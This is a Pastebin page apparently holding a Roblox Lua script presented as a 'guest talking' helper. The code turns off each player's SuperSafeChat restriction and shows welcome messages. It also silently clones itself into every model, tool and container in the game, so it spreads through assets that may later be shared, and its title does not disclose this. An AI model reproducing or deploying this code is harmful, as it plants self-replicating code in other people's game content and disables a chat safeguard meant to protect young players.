Advertisement
Kid_Playz

Guest Talking Script For ROBLOX

Feb 3rd, 2017
3,102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.31 KB | None | 0 0
  1. if (script.Parent == workspace) then
  2. function checkForAndSwitch(player)
  3. if (player.SuperSafeChat == true) then
  4. player.SuperSafeChat = false;
  5. wait(5);
  6. local m = Instance.new("Message");
  7. m.Text = "Press the / key to start typing.";
  8. m.Parent = player;
  9. wait(5);
  10. m.Text = "Then press Enter to send your message.";
  11. wait(5);
  12. m:Remove();
  13. m = nil;
  14. end
  15. player = nil;
  16. collectgarbage("collect");
  17. end
  18.  
  19. function onChildAddedToPlayers(obj)
  20. if (obj.className == "Player") then
  21. checkForAndSwitch(obj);
  22. local m = Instance.new("Message");
  23. m.Text = "welcome me place!!!";
  24. m.Parent = obj;
  25. wait(5);
  26. m:Remove();
  27. m = nil;
  28. end
  29. obj = nil;
  30. collectgarbage("collect");
  31. end
  32.  
  33. function onChildAddedToWorkspace(obj)
  34. if (obj.className == "Model") then
  35. if (game.Players:playerFromCharacter(obj) ~= nil) then
  36. checkForAndSwitch(game.Players:playerFromCharacter(obj));
  37. end
  38. end
  39. obj = nil;
  40. collectgarbage("collect");
  41. end
  42.  
  43. function findLowestLevel(obj)
  44. local c = obj:GetChildren();
  45. local lowestLevel = true;
  46.  
  47. for i, v in pairs(c) do
  48. if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
  49. lowestLevel = false;
  50. wait();
  51. findLowestLevel(v);
  52. end
  53. end
  54.  
  55. if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
  56. if (obj ~= game.Lighting and obj ~= game.StarterPack) then
  57. local s = script:Clone();
  58. s.Parent = obj;
  59. end
  60. end
  61. end
  62.  
  63. findLowestLevel(game);
  64.  
  65. game.Players.ChildAdded:connect(onChildAddedToPlayers);
  66. game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
  67. else
  68. local findScript = workspace:FindFirstChild(script.Name);
  69.  
  70. if (findScript == nil) then
  71. local s = script:Clone();
  72. s.Parent = workspace;
  73. end
  74. end
  75.  
  76. --[[function findAllCopies(obj)
  77. local c = obj:GetChildren();
  78.  
  79. for i, v in pairs(c) do
  80. if (v.Name == script.Name and v.className == "Script" and v ~= script) then
  81. v.Parent = nil;
  82. elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
  83. findAllCopies(v);
  84. end
  85. end
  86. end
  87.  
  88. findAllCopies(game);
  89.  
  90. script.Parent = nil;]]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement